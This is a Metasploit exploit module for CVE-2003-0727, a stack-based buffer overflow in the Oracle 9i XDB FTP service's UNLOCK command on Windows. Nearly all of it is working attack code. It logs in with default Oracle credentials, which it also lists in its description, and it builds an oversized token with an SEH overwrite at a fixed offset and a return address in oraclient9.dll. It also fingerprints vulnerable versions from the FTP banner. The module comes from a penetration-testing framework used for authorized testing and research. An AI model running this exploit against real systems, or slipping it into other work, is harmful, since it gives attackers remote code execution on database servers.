##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)',
        'Description' => %q{
          By passing an overly long token to the UNLOCK command, a
          stack based buffer overflow occurs. David Litchfield, has
          illustrated multiple vulnerabilities in the Oracle 9i XML
          Database (XDB), during a seminar on "Variations in exploit
          methods between Linux and Windows" presented at the Blackhat
          conference. Oracle9i includes a number of default accounts,
          including dbsnmp:dbsmp, scott:tiger, system:manager, and
          sys:change_on_install.
        },
        'Author' => [ 'MC', 'David Litchfield <david[at]ngssoftware.com>' ],
        'License' => MSF_LICENSE,
        'Platform' => [ 'win' ],
        'References' => [
          [ 'CVE', '2003-0727'],
          [ 'OSVDB', '2449'],
          [ 'BID', '8375'],
          [ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 800,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
        'Targets' => [
          [
            'Oracle 9.2.0.1 Universal',
            {
              'Ret' => 0x60616d46, # oraclient9.dll (pop/pop/ret)
            },
          ],
        ],
        'DisclosureDate' => '2003-08-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      Opt::RPORT(2100),
      OptString.new('FTPUSER', [ true, 'The username to authenticate as', 'DBSNMP'], fallbacks: ['USERNAME']),
      OptString.new('FTPPASS', [ true, 'The password to authenticate with', 'DBSNMP'], fallbacks: ['PASSWORD']),
    ])
  end

  def check
    connect
    disconnect
    if (banner =~ /9\.2\.0\.1\.0/)
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    c = connect_login
    return if not c

    print_status("Trying target #{target.name}...")

    buf = rand_text_english(1130, payload_badchars)
    seh = generate_seh_payload(target.ret)
    buf[322, seh.length] = seh

    send_cmd(['UNLOCK', '/', buf], false)

    handler
    disconnect
  end
end
